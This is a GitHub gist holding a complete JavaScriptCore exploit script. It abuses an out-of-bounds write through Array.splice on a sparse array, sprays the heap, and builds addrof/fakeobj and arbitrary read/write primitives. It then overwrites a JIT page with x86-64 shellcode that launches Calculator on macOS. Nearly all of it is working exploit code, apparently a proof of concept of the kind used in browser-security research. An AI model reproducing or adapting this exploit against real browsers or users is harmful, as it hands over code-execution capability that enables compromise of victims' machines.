Skip to content

Instantly share code, notes, and snippets.

@howmuch515
Last active May 3, 2020 05:21
Show Gist options
  • Save howmuch515/1aecbd35ca8e634fd5425db4e0294be2 to your computer and use it in GitHub Desktop.
Save howmuch515/1aecbd35ca8e634fd5425db4e0294be2 to your computer and use it in GitHub Desktop.
// commit: 21687be235d506b9712e83c1e6d8e0231cc9adfd
//
// Build:
// cd /path/to/Webkit
// ./Tools/Scripts/build-jsc --jsc-only --release --cmakeargs="-DENABLE_STATIC_JSC=ON -DCMAKE_C_COMPILER='clang' -DCMAKE_CXX_COMPILER='clang++' -DCMAKE_C_FLAGS='-g' -DCMAKE_CXX_FLAGS='-g'"
const MESSAGE_PRINT = print
const dc = describe
const JIT_COUNT = 10000
// Debug messages
function info(msg) {
MESSAGE_PRINT(`[+] ${msg}`)
}
function success(msg) {
MESSAGE_PRINT(`[*] ${msg}`)
}
function warn(msg) {
MESSAGE_PRINT(`[-] ${msg}`)
}
function error(msg) {
MESSAGE_PRINT(`[!] ${msg}`)
}
class Int64 {
constructor(val) {
this.buff = new ArrayBuffer(8)
this.u8 = new Uint8Array(this.buff)
this.u32 = new Uint32Array(this.buff)
this.f64 = new Float64Array(this.buff)
switch (typeof val) {
case "number":
this.fromDouble = val
break
case "string":
this.fromString = val
break
case "object":
if(Array.isArray(val)) {
this.fromArray = val
break
} else if(val[Symbol.toStringTag] === "Uint8Array") {
this.fromArray = val
break
}
default:
throw TypeError("Int64 constructor requires an argument.")
}
}
get asDouble() {
return this.f64[0]
}
get asArray() {
return this.u8.slice(0, 9)
}
set fromDouble(val) {
this.f64[0] = val
}
set fromString(val) {
if (val.startsWith("0x")) {
val = val.substr(2)
}
while (val.length < 16) {
val = "0" + val
}
let vh = val.slice(0, 8)
let vl = val.slice(8, 16)
this.u32[1] = parseInt(vh, 16)
this.u32[0] = parseInt(vl, 16)
}
set fromArray(val) {
for (let i = 0; i < val.length; i++) {
this.u8[i] = val[i]
}
}
add(x) {
let i64 = new Int64(this.f64[0])
i64.u32[1] += Math.floor(x / 0x100000000)
i64.u32[0] += x % 0x100000000
return i64
}
sub(x) {
let i64 = new Int64(this.f64[0])
i64.u32[1] -= Math.floor(x / 0x100000000)
i64.u32[0] -= x % 0x100000000
return i64
}
unbox() {
return this.sub(0x1000000000000)
}
toString() {
let a = this.u32[1].toString(16)
let b = this.u32[0].toString(16)
if (b.length < 8) {
b = "0".repeat(8 - b.length) + b
}
let x = a + b
return `0x${x}`
}
}
const MIN_SPARSE_ARRAY_INDEX = 0x100000
const SPRAY_ARRAY_SIZE = 0x500
const BUTTERFLY_SIZE = 10
const QWORD = 0x100000000
const OOB_LENGTH = 0xfffffff0
const START_INDEX = 0x10000 / 8
const ELEET = (new Int64(`0x31337`)).asDouble
const LEET = (new Int64(`0x1337`)).asDouble
// make trigger array
info(`OOB_LENGTH = ${OOB_LENGTH.toString(16)}`)
let oob = [1];
oob.length = MIN_SPARSE_ARRAY_INDEX
oob.splice(0, (QWORD - OOB_LENGTH) + 1)
oob.length = OOB_LENGTH
// spray
info(`SPRAY_ARRAY_SIZE = ${SPRAY_ARRAY_SIZE.toString(16)}`)
let oob_spray = []
for (let i = 0; i < SPRAY_ARRAY_SIZE; i+=2) {
oob_spray[i] = Array(BUTTERFLY_SIZE).fill({a:i})
oob_spray[i+1] = [ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET+1]
}
// trigger
info(`START_INDEX = ${START_INDEX}`)
oob.splice(START_INDEX, 1, 1, 1)
// detect oob
info(`search oob array(length == 0x31337)!`)
let oob_index = 0
for (let i = 0; i < oob_spray.length; i++) {
let tmp = oob_spray[i]
if (tmp.length == 0x31337) {
success(`detect oob! index: ${i}`)
oob_index = i
break
}
}
if (oob_index == 0) {
error(`can't detect oob...`)
}
let oob_boxed = oob_spray[oob_index+1]
let oob_unboxed = oob_spray[oob_index]
oob_boxed[0] = {"leet": LEET}
// unknown trigger...
for (let i=0; i<10; i++) {
let a = oob_unboxed[14]
let b = oob_boxed[0]
}
let prims = {}
prims.addrof = obj => {
oob_boxed[0] = obj
return new Int64(oob_unboxed[14])
}
prims.fakeobj = addr => {
oob_unboxed[14] = addr.asDouble
return oob_boxed[0]
}
success("stage1")
let flags_arr_double = new Int64(`0x0108200700000200`).unbox()
let flags_arr_contiguous = new Int64(`0x0108200900000200`).unbox()
info("spray StructureID")
let struct_spray = []
for (let i = 0; i < 0x1000; i++) {
let a = [13.37]
a.x = 13.37
a[`p${i}`] = 13.37
struct_spray.push(a)
}
let victim = struct_spray[0x500]
info("make hax")
let outer = {
js_cell_header: flags_arr_contiguous.asDouble,
butterfly: victim
}
hax = prims.fakeobj(prims.addrof(outer).add(0x10))
success("stage2")
info("make overlapped boxes")
let boxed = [{}]
let unboxed = [13.37, 13.37, 13.37]
unboxed[0] = 13.38
hax[1] = unboxed
tmp_butterfly = victim[1]
hax[1] = boxed
victim[1] = tmp_butterfly
info("make new addrof/fakeobj")
prims.addrof = obj => {
boxed[0] = obj
return new Int64(unboxed[0])
}
prims.fakeobj = addr => {
unboxed[0] = addr.asDouble
return boxed[0]
}
info("make AAR/AAW prims")
outer.js_cell_header = flags_arr_double.asDouble
prims.read64 = where => {
hax[1] = where.add(0x10).asDouble
return prims.addrof(victim.x)
}
prims.write64 = (where, what) => {
hax[1] = where.add(0x10).asDouble
victim.x = prims.fakeobj(what)
}
prims.write8 = (where, byte) => {
let buff = prims.read64(where)
let tmp = buff.asArray
tmp[7] = byte
buff = new Int64(tmp)
prims.write64(where, buff)
}
prims.set = (dst_ptr, payload_array) => {
for(let i=0; i < payload_array.length; i++) {
prims.write8(dst_ptr.add(i), payload_array[i])
}
}
success("stage3")
info("jitting")
let pwn = (x) => {
var j = []
j[0] = 0x6323634
return (
x * 5 +
x -
(x * x) / 0x2342513426 +
(x - x + (0x85720642 * (x + 3 - x / x + 0x41424344)) / 0x41424344) +
j[0]
)
}
for (let i = 0; i < JIT_COUNT; i++) {
pwn(13.37)
}
let jit_page = prims.read64(
prims.read64(
prims.read64(
prims.read64(
prims.addrof(pwn).add(8*3)
).add(8*3)
).add(8*3)
).add(8*5)
)
info(`jit_page: ${jit_page}`)
let nop_sled = "\x90".repeat(8)
// https://pastebin.com/ruh5dpMT
// launch "/Applications/Calculator.app/Contents//MacOS//Calculator"
let shellcode =
"\x48\x31\xd2\x52\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x61\x63\x4f\x53\x2f\x2f\x43\x61\x57\x48\xbf\x74\x65\x6e\x74\x73\x2f\x2f\x4d\x57\x48\xbf\x2e\x61\x70\x70\x2f\x43\x6f\x6e\x57\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x74\x69\x6f\x6e\x73\x2f\x43\x61\x57\x48\xbf\x2f\x41\x70\x70\x6c\x69\x63\x61\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05"
info("shellcode injection")
payload = nop_sled + shellcode
prims.set(jit_page.add(8), payload.split("").map(x => x.charCodeAt()))
success("pwn!")
pwn(13.37)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment